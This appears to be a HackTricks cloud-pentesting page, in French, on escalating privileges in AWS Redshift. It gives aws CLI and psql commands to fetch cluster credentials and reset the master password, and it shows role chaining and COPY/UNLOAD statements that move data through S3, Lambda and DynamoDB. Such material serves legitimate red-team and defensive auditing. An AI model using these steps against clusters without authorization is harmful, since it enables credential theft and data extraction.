AWS - Redshift Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Redshift

Pour plus d’informations sur RDS, consultez :

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Avec ces permissions, vous pouvez obtenir les informations de tous les clusters (y compris le nom et le nom d’utilisateur du cluster) et obtenir des identifiants pour y accĂ©der :

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Impact potentiel: Trouver des informations sensibles dans les bases de données.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Avec ces permissions vous pouvez obtenir les informations de tous les clusters et les identifiants pour y accéder.
Remarque : l’utilisateur postgres aura les permissions que possĂšde l’identitĂ© IAM utilisĂ©e pour obtenir les identifiants.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Impact potentiel: Find sensitive info inside the databases.

redshift:DescribeClusters, redshift:ModifyCluster?

Il est possible de modifier le mot de passe maĂźtre de l’utilisateur interne postgres (redshit) depuis aws cli (je pense que ce sont les permissions nĂ©cessaires mais je ne les ai pas encore testĂ©es) :

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Impact potentiel : Trouver des informations sensibles dans les bases de données.

AccĂšs aux services externes

Warning

Pour accĂ©der Ă  toutes les ressources suivantes, vous devrez spĂ©cifier le rĂŽle Ă  utiliser. Un cluster Redshift peut avoir une liste de rĂŽles AWS assignĂ©s que vous pouvez utiliser si vous connaissez l’ARN ou vous pouvez simplement dĂ©finir “default” pour utiliser celui qui est assignĂ© par dĂ©faut.

De plus, comme expliqué ici, Redshift permet aussi de concaténer des rÎles (tant que le premier peut assumer le second) pour obtenir des accÚs supplémentaires, mais il suffit de les séparer par une virgule: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Comme expliquĂ© dans https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, il est possible d’appeler une fonction lambda depuis Redshift avec quelque chose comme :

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Comme expliquĂ© dans https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, il est possible de lire et d’écrire dans les S3 buckets:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Comme expliqué dans https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, il est possible de récupérer des données depuis dynamodb :

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Warning

La table Amazon DynamoDB qui fournit les donnĂ©es doit ĂȘtre crĂ©Ă©e dans la mĂȘme AWS Region que votre cluster, sauf si vous utilisez l’option REGION pour spĂ©cifier la AWS Region oĂč se trouve la table Amazon DynamoDB.

EMR

Consultez https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks